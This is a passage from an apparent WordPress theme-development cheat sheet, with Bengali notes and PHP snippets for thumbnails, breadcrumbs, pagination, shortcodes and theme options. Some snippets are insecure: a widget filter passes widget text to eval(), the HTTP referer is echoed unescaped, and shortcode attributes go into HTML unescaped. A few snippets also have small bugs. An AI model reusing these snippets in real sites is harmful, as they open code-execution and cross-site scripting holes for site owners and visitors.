  875. custom post register post_type name + add_theme_support + custom Query post_type =  এই তিন জায়গায় একই  ID ব্যাবহার করতে হইবে featured image রেজিস্টার এর জন্য  
  876.  
  877. এবং
  878.  
  879. add_image_size( 'slides-image', 256, 200, true ); + <img src="<?php $image = wp_get_attachment_image_src( get_post_thumbnail_id( $post->ID ), 'slides-image' ); echo $image[0]; ?>" alt="" />  বা <?php the_post_thumbnail('product-preview', array('class' => 'product-preview')); ?> এই দুই জায়গায় একই  ID ব্যাবহার করতে হইবে featured image কল এর জন্য
  880.  
  881. নোটঃ  default post বা  page এর জন্য আলাদা ID এর প্রয়োজন নাই  শুধু  function এ  add_image_size( 'img-crop-id', 256, 200, true ); এটা লাগবে আর নির্দিষ্ট location এ  <?php the_post_thumbnail('img-crop-id', array('class' => 'your_img_class')); ?>
  882.  
  883.  
  884. =========================================================
  885. Post থেকে  প্রথম image কে featured image বানানোর code  বা কোণো image না থাকলে default ভাবে image show করানোর code
  886. =========================================================
  887. Functions.php page a past korte hobe.
  888.  
  889. function catch_that_image() { global $post, $posts; $first_img = ''; ob_start(); ob_end_clean(); $output = preg_match_all('/<img.+src=[\'"]([^\'"]+)[\'"].*>/i', $post->post_content, $matches); $first_img = $matches [1] [0]; if(empty($first_img)){ $first_img = get_template_directory_uri()."/images/logo.png"; } return $first_img; }
  890.  
  891. html code
  892.  
  893. <?php if ( has_post_thumbnail() ) { ?>
  894.  
  895.  // Your Code
  896.              
  897. <?php } else { ?>
  898.  
  899. <div class="first-image"> <a href="<?php the_permalink() ?>"><img class="post-thumb" src="<?php echo catch_that_image(); ?>" alt="first image" /></a></div>
  900.  
  901.  
  902. <?php } ?>
  903.  
  904.  
  905. ================================================================
  906. search form query code
  907. ================================================================
  908. <form method="get" id="searchform" action="<?php echo site_url(); ?>/">
  909.     <input type="text" name="s" id="s" placeholder="search now" />
  910.     <button type="submit" ><i class="fa fa-search"></i></button>
  911. </form>
  912.  
  913.  
  914. <form method="get" id="searchform" action="<?php echo site_url(); ?>/">
  915.     <input type="text" name="s" id="s" placeholder="search now" />
  916.     <input type="hidden" value="your_custom_post_type" name="post_type" />
  917.     <button type="submit" ><i class="fa fa-search"></i></button>
  918. </form>
  919.  
  920. =================================================================
  921. from single page post to next or prev single page post link code
  922. =================================================================
  923. <?php
  924.       $next_post_link_url = get_permalink( get_adjacent_post(false,'',false)->ID );
  925.       $prev_post_link_url = get_permalink( get_adjacent_post(false,'',true)->ID );
  926.      ?>
  927.    
  928.     <div class="p_n">
  929.      <a href="<?php echo $prev_post_link_url ?>"><i class="fa fa-chevron-left pr"></i></a>
  930.      <a href="<?php echo $next_post_link_url ?>"><i class="fa fa-chevron-right ne"></i></a>
  931.     </div>
  932. ------------------------------------
  933. and with title
  934. -----------------------------------
  935. <?php
  936. $prev_post = get_adjacent_post(false, '', true);
  937. if(!empty($prev_post)) {
  938. echo '<a href="' . get_permalink($prev_post->ID) . '" class="pager_title">' . $prev_post->post_title . '</a>'; }
  939. ?>
  940. <?php
  941. $next_post = get_adjacent_post(false, '', false);
  942. if(!empty($next_post)) {
  943. echo '<a href="' . get_permalink($next_post->ID) . '" class="pager_title">' . $next_post->post_title . '</a>'; }   
  944. ?>
  945. =================================================================
  946. from single page post link to  1 step back prev post page  link code
  947. =================================================================  
  948.    
  949. <?php print $_SERVER['HTTP_REFERER'];?>
  950.  
  951. ===================================================
  952.                 //কন্টেন্ট এর অংশ বিশেষ আনার জন্য।
  953. ===================================================
  954. /* copy and past in functions.php for excerpt post for excerpt with readmore */
  955.  
  956. function excerpt($num) {
  957. $limit = $num+1;
  958. $excerpt = explode(' ', get_the_excerpt(), $limit);
  959. array_pop($excerpt);
  960. $excerpt = implode(" ",$excerpt)." <a href='" .get_permalink($post->ID) ." ' class='".readmore."'>+More</a>";
  961. echo $excerpt;
  962. }
  963.  
  964. ===  or ====
  965.  
  966. function excerpt($num) {
  967. $limit = $num+1;
  968. $excerpt = explode(' ', get_the_content(), $limit);
  969. array_pop($excerpt);
  970. $excerpt = implode(" ",$excerpt)." <a href='" .get_permalink($post->ID) ." ' class='".readmore."'>+More</a>";
  971. echo $excerpt;
  972. }
  973.    
  974.     /* for post excerpt copy and past in target.php*/
  975.     <?php echo excerpt('22'); ?>
  976. ----------------------------------------------------------------------------
  977.     /* for post excerpt copy and past in target.php*/
  978.     <?php the_excerpt(50); ?>
  979.    
  980.  /* for post excerpt latest. */
  981.     <?php $post_content = get_the_content(); echo wp_trim_words($post_content, 15 );?>
  982.  
  983. //* Remove [...] from WordPress excerpts
  984. <?php
  985.  
  986. function afn_customize_excerpt_more( $more ) {
  987.     return ' ';
  988. }
  989. add_filter('excerpt_more', 'afn_customize_excerpt_more');
  990. ?>
  991.  
  992.  /* for Title excerpt . */
  993. <?php echo substr(the_title('', '', FALSE), 0, 37); ?>..
  994.  
  995.  
  996. ====================================================
  997. // for breadcrumbs this code paste in page.php
  998. ====================================================
  999. // this code paste in your function.php file
  1000. -------------------------------------------
  1001. function the_breadcrumb() {
  1002.     if (!is_home()) {
  1003.         echo '<a href="';
  1004.         echo get_option('home');
  1005.         echo '">';
  1006.         bloginfo('name');
  1007.         echo "</a> >> ";
  1008.         if (is_category() || is_single()) {
  1009.             the_category('title_li=');
  1010.             if (is_single()) {
  1011.                 echo "  ";
  1012.                 the_title();
  1013.             }
  1014.         } elseif (is_page()) {
  1015.             echo the_title();
  1016.         }
  1017.     }
  1018. }
  1019.  
  1020. =======
  1021. or
  1022. =======
  1023. function the_breadcrumb() {
  1024.  
  1025.   $showOnHome = 0; // 1 - show breadcrumbs on the homepage, 0 - don't show
  1026.   $delimiter = '&raquo;'; // delimiter between crumbs
  1027.   $home = 'Home'; // text for the 'Home' link
  1028.   $showCurrent = 1; // 1 - show current post/page title in breadcrumbs, 0 - don't show
  1029.   $before = '<span class="current">'; // tag before the current crumb
  1030.   $after = '</span>'; // tag after the current crumb
  1031.  
  1032.   global $post;
  1033.   $homeLink = get_bloginfo('url');
  1034.  
  1035.   if (is_home() || is_front_page()) {
  1036.  
  1037.     if ($showOnHome == 1) echo '<div id="crumbs"><a href="' . $homeLink . '">' . $home . '</a></div>';
  1038.  
  1039.   } else {
  1040.  
  1041.     echo '<div id="crumbs"><a href="' . $homeLink . '">' . $home . '</a> ' . $delimiter . ' ';
  1042.  
  1043.     if ( is_category() ) {
  1044.       $thisCat = get_category(get_query_var('cat'), false);
  1045.       if ($thisCat->parent != 0) echo get_category_parents($thisCat->parent, TRUE, ' ' . $delimiter . ' ');
  1046.       echo $before . 'Archive by category "' . single_cat_title('', false) . '"' . $after;
  1047.  
  1048.     } elseif ( is_search() ) {
  1049.       echo $before . 'Search results for "' . get_search_query() . '"' . $after;
  1050.  
  1051.     } elseif ( is_day() ) {
  1052.       echo '<a href="' . get_year_link(get_the_time('Y')) . '">' . get_the_time('Y') . '</a> ' . $delimiter . ' ';
  1053.       echo '<a href="' . get_month_link(get_the_time('Y'),get_the_time('m')) . '">' . get_the_time('F') . '</a> ' . $delimiter . ' ';
  1054.       echo $before . get_the_time('d') . $after;
  1055.  
  1056.     } elseif ( is_month() ) {
  1057.       echo '<a href="' . get_year_link(get_the_time('Y')) . '">' . get_the_time('Y') . '</a> ' . $delimiter . ' ';
  1058.       echo $before . get_the_time('F') . $after;
  1059.  
  1060.     } elseif ( is_year() ) {
  1061.       echo $before . get_the_time('Y') . $after;
  1062.  
  1063.     } elseif ( is_single() && !is_attachment() ) {
  1064.       if ( get_post_type() != 'post' ) {
  1065.         $post_type = get_post_type_object(get_post_type());
  1066.         $slug = $post_type->rewrite;
  1067.         echo '<a href="' . $homeLink . '/' . $slug['slug'] . '/">' . $post_type->labels->singular_name . '</a>';
  1068.         if ($showCurrent == 1) echo ' ' . $delimiter . ' ' . $before . get_the_title() . $after;
  1069.       } else {
  1070.         $cat = get_the_category(); $cat = $cat[0];
  1071.         $cats = get_category_parents($cat, TRUE, ' ' . $delimiter . ' ');
  1072.         if ($showCurrent == 0) $cats = preg_replace("#^(.+)\s$delimiter\s$#", "$1", $cats);
  1073.         echo $cats;
  1074.         if ($showCurrent == 1) echo $before . get_the_title() . $after;
  1075.       }
  1076.  
  1077.     } elseif ( !is_single() && !is_page() && get_post_type() != 'post' && !is_404() ) {
  1078.       $post_type = get_post_type_object(get_post_type());
  1079.       echo $before . $post_type->labels->singular_name . $after;
  1080.  
  1081.     } elseif ( is_attachment() ) {
  1082.       $parent = get_post($post->post_parent);
  1083.       $cat = get_the_category($parent->ID); $cat = $cat[0];
  1084.       echo get_category_parents($cat, TRUE, ' ' . $delimiter . ' ');
  1085.       echo '<a href="' . get_permalink($parent) . '">' . $parent->post_title . '</a>';
  1086.       if ($showCurrent == 1) echo ' ' . $delimiter . ' ' . $before . get_the_title() . $after;
  1087.  
  1088.     } elseif ( is_page() && !$post->post_parent ) {
  1089.       if ($showCurrent == 1) echo $before . get_the_title() . $after;
  1090.  
  1091.     } elseif ( is_page() && $post->post_parent ) {
  1092.       $parent_id  = $post->post_parent;
  1093.       $breadcrumbs = array();
  1094.       while ($parent_id) {
  1095.         $page = get_page($parent_id);
  1096.         $breadcrumbs[] = '<a href="' . get_permalink($page->ID) . '">' . get_the_title($page->ID) . '</a>';
  1097.         $parent_id  = $page->post_parent;
  1098.       }
  1099.       $breadcrumbs = array_reverse($breadcrumbs);
  1100.       for ($i = 0; $i < count($breadcrumbs); $i++) {
  1101.         echo $breadcrumbs[$i];
  1102.         if ($i != count($breadcrumbs)-1) echo ' ' . $delimiter . ' ';
  1103.       }
  1104.       if ($showCurrent == 1) echo ' ' . $delimiter . ' ' . $before . get_the_title() . $after;
  1105.  
  1106.     } elseif ( is_tag() ) {
  1107.       echo $before . 'Posts tagged "' . single_tag_title('', false) . '"' . $after;
  1108.  
  1109.     } elseif ( is_author() ) {
  1110.        global $author;
  1111.       $userdata = get_userdata($author);
  1112.       echo $before . 'Articles posted by ' . $userdata->display_name . $after;
  1113.  
  1114.     } elseif ( is_404() ) {
  1115.       echo $before . 'Error 404' . $after;
  1116.     }
  1117.  
  1118.     if ( get_query_var('paged') ) {
  1119.       if ( is_category() || is_day() || is_month() || is_year() || is_search() || is_tag() || is_author() ) echo ' (';
  1120.       echo __('Page') . ' ' . get_query_var('paged');
  1121.       if ( is_category() || is_day() || is_month() || is_year() || is_search() || is_tag() || is_author() ) echo ')';
  1122.     }
  1123.  
  1124.     echo '</div>';
  1125.  
  1126.   }
  1127. } // end the_breadcrumb()
  1128.  
  1129. // this code paste in your target.php file
  1130.  
  1131.     <?php the_breadcrumb(); ?>
  1132.  
  1133.  
  1134. ==================================================
  1135.       //Single page তৈরি করতে এই কোডটি call করতে হয়।
  1136. ==================================================
  1137.                 //For single.php
  1138. --------------------------------------------------
  1139. /*  copy and past in single.php */
  1140. <?php if(have_posts()) : ?><?php while(have_posts())  : the_post(); ?>
  1141.  
  1142.     <h2><?php the_title(); ?></h2>
  1143.  
  1144.     <?php the_content(); ?>
  1145.  
  1146.    <?php comments_template( '', true ); ?>  
  1147.  
  1148. <?php endwhile; ?>
  1149.  
  1150. <?php else : ?>
  1151.  
  1152.     <h3><?php _e('404 Error&#58; Not Found'); ?></h3>
  1153.  
  1154. <?php endif; ?>
  1155.  
  1156.  
  1157. ====================================================
  1158.                 //search.php
  1159. ====================================================
  1160. search করার  জন্য  root ফোল্ডারে search.php নামে একটি পেজ তৈরি করতে হয়।
  1161. ----------------------------------------------------
  1162.             <h2 class="latest_frm_cat_title archive_title"><?php printf ( __ (
  1163.             'search Results for : %s', 'brightpage' ), '<span>' .
  1164.             get_search_query() .  '</span>' ); ?> </h2>
  1165.             <?php if (have_posts()) : ?>
  1166.             <?php get_template_part('post-excerpt'); ?>                    
  1167.             <?php else : ?>
  1168.             <h3 class="archive_not_found">404 not found </h3>
  1169.             <?php endif; ?>
  1170.  
  1171.             -------------------- Or --------------------
  1172.  
  1173. <?php if ( have_posts() ) : ?>
  1174.             <h1 class="search-page-title"><?php printf( __( 'Search Results for: %s' ), '<span>' . get_search_query() . '</span>' ); ?></h1>
  1175.             <?php
  1176.              get_template_part( 'post-loop', 'search' );
  1177.             ?>
  1178. <?php else : ?>
  1179.                 <div id="post-0" class="post no-results not-found">
  1180.                     <h2 class="entry-title"><?php echo __( 'Nothing Found' ); ?></h2>
  1181.                     <div class="entry-content">
  1182.                         <p><?php echo __( 'Sorry, but nothing matched your search criteria. Please try again with some different keywords.' ); ?></p>
  1183.                        
  1184.                     <a id="submit" href="<?php bloginfo( 'home' ); ?>">Home</a>
  1185.                     </div><!-- .entry-content -->
  1186.                 </div><!-- #post-0 -->
  1187. <?php endif; ?>
  1188.  
  1189.  
  1190.                 HEADER a use korte hobe inputgolor jagay
  1191. -----------------------------------------------------------------
  1192.  
  1193. <form role="search" method="get" id="searchform" action="<?php echo home_url( '/' ); ?>">      
  1194.     <div class="search floatright fix">
  1195.         <input type="text" name="s" id="s" placeholder="Looking For Somthing" />
  1196.         <input type="submit" value="GO"/>
  1197.     </div>
  1198. </form>
  1199.  
  1200.  
  1201. =================================================
  1202.                 //archive.php
  1203. =================================================
  1204. Archive করে রাখার জন্য এই কোড দিয়ে root ফোল্ডারে archive.php নামে একটি পেজ তৈরি করতে হয়।
  1205. -------------------------------------------------
  1206.     <h1 class="archivetitle">
  1207.  
  1208.         <?php if (have_posts()) : ?>
  1209.  
  1210.             <?php $post = $posts[0]; // Hack. Set $post so that the_date() works. ?>
  1211.  
  1212.                 <?php /* If this is a category archive */ if (is_category()) { ?>
  1213.  
  1214.                     <?php _e('Archive for the'); ?> '<?php echo single_cat_title(); ?>' <?php _e('Category'); ?>                                    
  1215.  
  1216.                 <?php /* If this is a tag archive */  } elseif( is_tag() ) { ?>
  1217.  
  1218.                     <?php _e('Archive for the'); ?> <?php single_tag_title(); ?> Tag
  1219.  
  1220.                 <?php /* If this is a daily archive */ } elseif (is_day()) { ?>
  1221.  
  1222.                     <?php _e('Archive for'); ?> <?php the_time('F jS, Y'); ?>                                        
  1223.  
  1224.                 <?php /* If this is a monthly archive */ } elseif (is_month()) { ?>
  1225.  
  1226.                     <?php _e('Archive for'); ?> <?php the_time('F, Y'); ?>                                    
  1227.  
  1228.                 <?php /* If this is a yearly archive */ } elseif (is_year()) { ?>
  1229.  
  1230.                     <?php _e('Archive for'); ?> <?php the_time('Y'); ?>                                        
  1231.  
  1232.                 <?php /* If this is a search */ } elseif (is_search()) { ?>
  1233.  
  1234.                     <?php _e('Search Results'); ?>                            
  1235.  
  1236.                 <?php /* If this is an author archive */ } elseif (is_author()) { ?>
  1237.  
  1238.                     <?php _e('Author Archive'); ?>                                        
  1239.  
  1240.                 <?php /* If this is a paged archive */ } elseif (isset($_GET['paged']) && !empty($_GET['paged'])) { ?>
  1241.  
  1242.                     <?php _e('Blog Archives'); ?>                                        
  1243.  
  1244.         <?php } ?>
  1245.  
  1246.     </h1>
  1247.  
  1248.     <div class="your_div_class">
  1249.         <?php get_template_part('post-excerpt'); ?>
  1250.     </div>
  1251.     <?php else : ?>
  1252.     <div class="your_div_class floatleft">
  1253.         <h3><?php _e('404 Error&#58; Not Found'); ?></h3>
  1254.     </div>
  1255.  
  1256.     <?php endif; ?>
  1257.    
  1258.  
  1259. ==================================================
  1260.             নাম্বার সহ পেজিনেশন আনার জন্য এই কোড।
  1261. ==================================================
  1262.             //For Numbering Pagination
  1263. --------------------------------------------------
  1264. /* copy and past in functions.php for numbering pagination */
  1265. function pagination() {
  1266.  
  1267.     if( is_singular() )
  1268.         return;
  1269.  
  1270.     global $wp_query;
  1271.  
  1272.     /** Stop execution if there's only 1 page */
  1273.     if( $wp_query->max_num_pages <= 1 )
  1274.         return;
  1275.  
  1276.     $paged = get_query_var( 'paged' ) ? absint( get_query_var( 'paged' ) ) : 1;
  1277.     $max   = intval( $wp_query->max_num_pages );
  1278.  
  1279.     /** Add current page to the array */
  1280.     if ( $paged >= 1 )
  1281.         $links[] = $paged;
  1282.  
  1283.     /** Add the pages around the current page to the array */
  1284.     if ( $paged >= 3 ) {
  1285.         $links[] = $paged - 1;
  1286.         $links[] = $paged - 2;
  1287.     }
  1288.  
  1289.     if ( ( $paged + 2 ) <= $max ) {
  1290.         $links[] = $paged + 2;
  1291.         $links[] = $paged + 1;
  1292.     }
  1293.  
  1294.     echo '<div class="post_page_pagination fix"><ul class="pp_pagination fix">' . "\n";
  1295.  
  1296.     /** Previous Post Link */
  1297.     if ( get_previous_posts_link() )
  1298.         printf( '<li>%s</li>' . "\n",  get_previous_posts_link('<i class="fa fa-angle-left"></i>') );
  1299.  
  1300.     /** Link to first page, plus ellipses if necessary */
  1301.     if ( ! in_array( 1, $links ) ) {
  1302.         $class = 1 == $paged ? ' class="active"' : '';
  1303.  
  1304.         printf( '<li%s><a href="%s">%s</a></li>' . "\n", $class, esc_url( get_pagenum_link( 1 ) ), '1' );
  1305.  
  1306.         if ( ! in_array( 2, $links ) )
  1307.             echo '<li>…</li>';
  1308.     }
  1309.  
  1310.     /** Link to current page, plus 2 pages in either direction if necessary */
  1311.     sort( $links );
  1312.     foreach ( (array) $links as $link ) {
  1313.         $class = $paged == $link ? ' class="active"' : '';
  1314.         printf( '<li%s><a href="%s">%s</a></li>' . "\n", $class, esc_url( get_pagenum_link( $link ) ), $link );
  1315.     }
  1316.  
  1317.     /** Link to last page, plus ellipses if necessary */
  1318.     if ( ! in_array( $max, $links ) ) {
  1319.         if ( ! in_array( $max - 1, $links ) )
  1320.             echo '<li>…</li>' . "\n";
  1321.  
  1322.         $class = $paged == $max ? ' class="active"' : '';
  1323.         printf( '<li%s><a href="%s">%s</a></li>' . "\n", $class, esc_url( get_pagenum_link( $max ) ), $max );
  1324.     }
  1325.  
  1326.     /** Next Post Link */
  1327.     if ( get_next_posts_link() )
  1328.         printf( '<li%s><a href="%s"><i class="fa fa-angle-right"></i></a></li>' . "\n", $class, esc_url( get_pagenum_link( $max ) ), $max );
  1329.  
  1330.     echo '</ul></div>' . "\n";
  1331.  
  1332. }
  1333.  
  1334.  
  1335.  
  1336.    
  1337.    
  1338. /* Use this code and post in loop.php */
  1339.  
  1340.     <?php if (function_exists("pagination")) {
  1341.         pagination($additional_loop->max_num_pages);
  1342.     }
  1343.     ?>
  1344.  
  1345.  
  1346. =========================================================
  1347.             // shortcode এর জন্য code
  1348. =========================================================
  1349.  
  1350. // without attribute
  1351. ---------------------------------------------------------
  1352. function vimeo_shortcode( $atts, $content = null  ) {
  1353.     return '<iframe src="//player.vimeo.com/video/'.$content.'" width="500" height="281" frameborder="0" webkitallowfullscreen mozallowfullscreen allowfullscreen></iframe>';
  1354. }  
  1355. add_shortcode('vimeo', 'vimeo_shortcode');
  1356.  
  1357. // with attribute
  1358. ---------------------------------------------------------
  1359.  
  1360. function vimeo_video_shortcode( $atts, $content = null ) {
  1361.     $a = shortcode_atts( array(
  1362.         'id' => '74715441'
  1363.     ), $atts );
  1364.    
  1365.     return'<div class="res_video"><iframe src="http://player.vimeo.com/video/' . esc_attr($a['id']) . '" frameborder="0" webkitallowfullscreen mozallowfullscreen allowfullscreen></iframe></div>';
  1366. }
  1367. add_shortcode('vimeo', 'vimeo_video_shortcode');
  1368.  
  1369. // do shorcode example start
  1370. function product_shortcode( $atts, $content = null  ) {
  1371.  
  1372.     return '
  1373.     <div class="post_page_slider_social_area fix">
  1374.         <div class="post_page_slider_social column fix">
  1375.             <div class="post_page_slider_social_wrapper fix">
  1376.                 <div class="post_content_slider section fix">
  1377.                     <div class="sc_single_content_slider owl-carousel fix" id="sc_single_content_slider">
  1378.                         '.do_shortcode($content).'
  1379.                     </div>
  1380.                 </div>
  1381.             </div>
  1382.         </div>
  1383.     </div>
  1384.     ';
  1385. }  
  1386. add_shortcode('product', 'product_shortcode');
  1387.  
  1388. function product_item_shortcode( $atts, $content = null  ) {
  1389.     extract( shortcode_atts( array(
  1390.         'src' => '',
  1391.         'title' => '',
  1392.     ), $atts ) );
  1393.     return '
  1394.     <div class="item scscs_single">
  1395.         <img src="'.$src.'" alt="'.$title.'" />
  1396.     </div>
  1397.     ';
  1398. }  
  1399. add_shortcode('item', 'product_item_shortcode');
  1400. // do shorcode example end
  1401.  
  1402. // shortcode for custom post query
  1403. function wishlist_shortcode($atts){
  1404.     extract( shortcode_atts( array(
  1405.         'cat' => '',
  1406.     ), $atts, 'wishlist' ) );
  1407.    
  1408.     $q = new WP_Query(
  1409.         array('posts_per_page' => '4', 'post_type' => 'wishlist-items', 'category_name' => $cat, 'meta_key' => 'order_number','orderby' => 'meta_value','order' => 'ASC')
  1410.         );     
  1411.     $list = '<div class="wishlist_item_list">';
  1412.     while($q->have_posts()) : $q->the_post();
  1413.         $idd = get_the_ID();
  1414.         $wishlist_email = get_post_meta($idd, 'wishlist_email', true);
  1415.         $featured_image_url = wp_get_attachment_image_src( get_post_thumbnail_id( $post->ID ), 'case-study-image' );
  1416.         $theme_dir = get_bloginfo('template_directory');
  1417.        
  1418.          $item_cats = get_the_terms($post->ID, 'category_name');
  1419.           if($item_cats):
  1420.           foreach($item_cats as $item_cat) {
  1421.            $item_classes = $item_cat->name ;
  1422.           }
  1423.           endif;
  1424.          
  1425.         $list .= '
  1426.         <div class="single_wishlist">
  1427.             <p>Category Name: '.$item_classes.'</p>
  1428.             <div class="wishlist_top">
  1429.                 <p>'.get_the_title().'<a href="'.get_the_permalink().'">'.$wishlist_email.'</a></p>
  1430.             </div>
  1431.             <img src="'.$featured_image_url[0].'" alt="" />
  1432.             <img src="'.$theme_dir.'/img/link_style.png" alt="" />
  1433.             <div class="wishlist_bottom">
  1434.                 ' .get_the_excerpt(). '
  1435.             </div>
  1436.         </div>
  1437.         ';        
  1438.     endwhile;
  1439.     $list.= '</div>';
  1440.     wp_reset_query();
  1441.     return $list;
  1442. }
  1443. add_shortcode('wishlist', 'wishlist_shortcode');
  1444.  
  1445. // shortcode for custom post query another way
  1446. function work_shortcode($atts){
  1447. ob_start();
  1448.  
  1449.     extract( shortcode_atts( array(
  1450.         'cat' => '',
  1451.     ), $atts, 'work' ) );
  1452.     $q = new WP_Query(
  1453.         array('posts_per_page' => -1, 'post_type' => 'gallery-items', 'work_cat' => $cat, )
  1454.         );     
  1455.        
  1456.     ?><div class="grid js-masonry" data-masonry='{ "itemSelector": ".grid-item", "columnWidth": ".grid-sizer",  "percentPosition": true , "gutter": 0}'>
  1457.                     <div class="grid-sizer"></div>
  1458.                     <div class="gutter-sizer"></div>
  1459.     <?php while( $q->have_posts()) : $q->the_post(); ?>
  1460.    
  1461.     <?php
  1462.     $idd = get_the_ID();
  1463.         $select_big = get_post_meta($idd, 'select_big', true);
  1464.         if($select_big == 'Big'){
  1465.             $namdilam = 'grid-item--width2';
  1466.         } else{
  1467.             $namdilam = 'small_grid';
  1468.         }
  1469.         $image = wp_get_attachment_image_src( get_post_thumbnail_id( $post->ID ), '' );
  1470.         $video_url= get_post_meta($idd, 'video_url', true);
  1471.         $video_check= get_post_meta($idd, 'video_checkbox', true);
  1472.         if($video_check == 'on'){
  1473.             $img_linkk =  $video_url;
  1474.             $imag_clss = 'mfp-iframe';
  1475.         } else{
  1476.             $img_linkk =  $image[0];
  1477.             $imag_clss = 'gallery-items';
  1478.         }
  1479.          ?>
  1480.        
  1481.        
  1482.     <div class="grid-item <?php echo $namdilam; ?> ">
  1483.         <a class="<?php echo $imag_clss; ?>" title="<?php the_title();?>" href="<?php echo $img_linkk; ?>">
  1484.             <?php
  1485.        
  1486.         if($select_big == 'Big'){
  1487.             the_post_thumbnail('gallr-big');
  1488.         } else{
  1489.             the_post_thumbnail('galler-small');
  1490.         }
  1491.         ?>
  1492.         </a>
  1493.         <?php
  1494.         $images_list = get_post_meta($idd, 'galery_list', true);
  1495.          foreach( $images_list  as $attachment_id => $attachment_url  ) {
  1496.         $attachment_title = get_the_title($attachment_id);
  1497.         echo '<a title="'.$attachment_title.'" href="' . $attachment_url. '"></a>';
  1498.         }  ?>
  1499.         <h2 class="project-name">· <?php the_title();?> ·</h2>
  1500.     </div>
  1501. <?php endwhile; ?>
  1502.     </div>
  1503.     <?php wp_reset_postdata();
  1504.     return ob_get_clean();
  1505. }
  1506. add_shortcode('work', 'work_shortcode');   
  1507.  
  1508.  
  1509.  
  1510. //widget এর text এ shoortcode support করানোর জন্য functions.php তে এই code টি কল করতে হবে
  1511. --------------------------------------------------------
  1512. add_filter('widget_text', 'do_shortcode');
  1513. //widget এর text এ PHP code support করানোর জন্য functions.php তে এই code টি কল করতে হবে
  1514. --------------------------------------------------------
  1515. add_filter('widget_text','execute_php',100);
  1516. function execute_php($html){
  1517.      if(strpos($html,"<"."?php")!==false){
  1518.           ob_start();
  1519.           eval("?".">".$html);
  1520.           $html=ob_get_contents();
  1521.           ob_end_clean();
  1522.      }
  1523.      return $html;
  1524. }
  1525.  
  1526. // do-shortcode এর জন্য code টি দিয়ে আপনার নির্দিষ্ট স্থানে paste করুন
  1527. --------------------------------------------------------
  1528. <?php echo do_shortcode('[your_desired_shortcode]'); ?>
  1529.  
  1530.         //custom_post in shortcode এর shortcode
  1531. --------------------------------------------------------
  1532. function category_post_shortcode($atts){
  1533.     extract( shortcode_atts( array(
  1534.         'title' => '',
  1535.         'link' => '',
  1536.         'category' => '',
  1537.     ), $atts, 'category_post' ) );
  1538.    
  1539.     $q = new WP_Query(
  1540.         array( 'category' => $category, 'posts_per_page' => '3', 'post_type' => 'post')
  1541.         );
  1542. $list = '<div class="latest_from_category"><h2 class="latest_frm_cat_title">'.$title.'</h2> <a href="'.$link.'" class="latest_more_link">more</a>';
  1543.  
  1544. while($q->have_posts()) : $q->the_post();
  1545.     //get the ID of your post in the loop
  1546.     $id = get_the_ID();
  1547.     $post_sub = get_post_meta($id, 'post_sub', true);  
  1548.     $post_thumbnail= get_the_post_thumbnail( $post->ID, 'post-thumbnail' );        
  1549.     $list .= '
  1550.    
  1551.                         <div class="single_cate_post floatleft">
  1552.                             '.$post_thumbnail.'
  1553.                             <h3>'.get_the_title().'</h3>
  1554.                             <p>'.$post_sub.'</p>
  1555.                             <a href="'.get_permalink().'" class="readmore">Read More</a>
  1556.                         </div>     
  1557.     ';        
  1558. endwhile;
  1559. $list.= '</div>';
  1560. wp_reset_query();
  1561. return $list;
  1562. }
  1563. add_shortcode('category_post', 'category_post_shortcode'); 
  1564.  
  1565. //custom_post shortcode এর list এ  html code এর ভিতর <?php the_title?>এবং <?php the_content?> পরিবর্তে হবে --------------------------------------------------------
  1566. '.get_the_title().' or ' .do_shortcode( get_the_title() ). '
  1567. '.get_the_content().'  
  1568. '.get_the_permalink().'
  1569. ' .get_the_excerpt(). '
  1570. '.get_the_date().'
  1571. '.get_the_author().'
  1572. '. get_site_url() .'
  1573. '.get_the_time( 'd/m/y', $post->ID).'
  1574.  
  1575. //for featured image
  1576. $featured_image_url = wp_get_attachment_image_src( get_post_thumbnail_id( $post->ID ), 'case-study-image' );
  1577. <img src="'.$featured_image_url[0].'" alt="" />
  1578.         or
  1579. $post_thumbnail= get_the_post_thumbnail( $post->ID, 'portfolio-thumbnail' );
  1580.         '.$post_thumbnail.'
  1581. //for Template directory uri
  1582. $theme_dir = get_bloginfo('template_directory');
  1583. <img src="'.$theme_dir.'/img/link_style.png" alt="" />
  1584.  
  1585. //for get metabox display
  1586. $idd = get_the_ID();
  1587. $animal_sub = get_post_meta($idd, 'animal_sub', true);
  1588.  -- display by this --
  1589. <p>'.$animal_sub.'</p>
  1590.  
  1591. //for Texonomy name
  1592.  $item_cats = get_the_terms($post->ID, 'slider_cat');
  1593.   if($item_cats):
  1594.   foreach($item_cats as $item_cat) {
  1595.    $item_classes = $item_cat->name ;
  1596.   }
  1597.   endif;
  1598.  
  1599.   -- display by this --
  1600.   <p>'.$item_classes.'</p>
  1601.  
  1602.  
  1603. ========================================================
  1604.                 //For 404 page
  1605. ========================================================
  1606. <!-- copy and past in 404.php -->
  1607. <div class="not_found">
  1608.     <h1>404 not found!</h1>
  1609.     <p>Sorry, but the page you are trying to reach is unavailable or does not exist.</p>
  1610.     <a id="submit" href="<?php bloginfo( 'home' ); ?>">Home</a>
  1611. </div>
  1612.  
  1613.  
  1614. ========================================================
  1615.                 //Reply Comment Scripts
  1616. ========================================================
  1617.  
  1618. <!-- copy and past in functions.php -->
  1619. function comment_scripts(){
  1620.  
  1621.    if ( is_singular() ) wp_enqueue_script( 'comment-reply' );
  1622.  
  1623. }
  1624.  
  1625. add_action( 'wp_enqueue_scripts', 'comment_scripts' );
  1626.  
  1627.  
  1628. <!-- copy and past in comments.css From E/All source/comments.css -->
  1629.  
  1630.  
  1631. for
  1632.  
  1633.  
  1634. ==================================================
  1635.                 Wordpress এ  SMOF
  1636. ==================================================             
  1637.                 SMOF এর section array
  1638. --------------------------------------------------
  1639. $of_options[] = array(  "name"      => "General Settings",
  1640.                         "type"      => "heading"
  1641.                 );
  1642.  
  1643.                Wordpress এ SMOF এর array
  1644. --------------------------------------------------
  1645. $of_options[] = array(  "name"      => "Phone number",
  1646.                         "desc"      => "your phone number here",
  1647.                         "id"        => "phone_number",
  1648.                         // Use the shortcodes [site_url] or [site_url_secure] for setting default URLs
  1649.                         "std"       => "0535 954 74 54",
  1650.                         "type"      => "text"
  1651.                 );
  1652.  
  1653. SMOF এর option active code এটা target.php তে নির্দিষ্ট স্থানে paste হবে
  1654. --------------------------------------------------
  1655. <?php echo do_shortcode(stripslashes($data['phone_number'])); ?>   
  1656.  
  1657.  
  1658.  
  1659.            
  1660. ==========================================================
  1661.                     //Option Tree
  1662. ==========================================================
  1663. প্রথমে wordpress.org থেকে option tree download করুন
  1664. Download Option Tree: http://wordpress.org/extend/plugins/option-tree/
